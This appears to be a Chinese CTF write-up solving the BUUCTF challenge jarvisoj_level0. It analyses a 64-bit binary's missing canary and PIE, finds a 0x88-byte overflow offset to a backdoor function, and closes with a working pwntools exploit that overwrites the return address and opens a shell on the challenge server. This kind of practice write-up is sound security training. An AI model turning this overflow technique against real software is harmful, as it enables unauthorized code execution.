pwn刷题num23----栈溢出

BUUCTF-PWN-jarvisoj_level0

pwn刷题num23----栈溢出_第1张图片

首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
pwn刷题num23----栈溢出_第2张图片

64位程序,小端序
未开启RELRO-----got表可写
未开启canary保护-----可能存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接

ida一下
在这里插入图片描述

程序首先用write函数输出了一个Hello,World,又调用了一个函数
pwn刷题num23----栈溢出_第3张图片

明显的栈溢出,buf占0x80字节,而read函数要读取0x200字节,可以覆盖返回地址,
看一下buf的栈区
pwn刷题num23----栈溢出_第4张图片

pwn刷题num23----栈溢出_第5张图片
buf距离返回地址(r所在位置)0x88(0x80+0x8)字节

再查看一下有没有后门函数(直接getshell的函数)
在这里插入图片描述
查看一下函数地址为0x400596
pwn刷题num23----栈溢出_第6张图片
exp

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug') 
sh = remote("node4.buuoj.cn",26823)
payload=b'a' * 0x88 + p64(0x00400596) 
sh.recvuntil("Hello, World\n")
sh.sendline(payload)
sh.interactive()

运行获得flag
pwn刷题num23----栈溢出_第7张图片
pwn刷题num23----栈溢出_第8张图片

你可能感兴趣的:(BUUCTF,pwn,CTF,系统安全,python,网络安全,c语言,安全)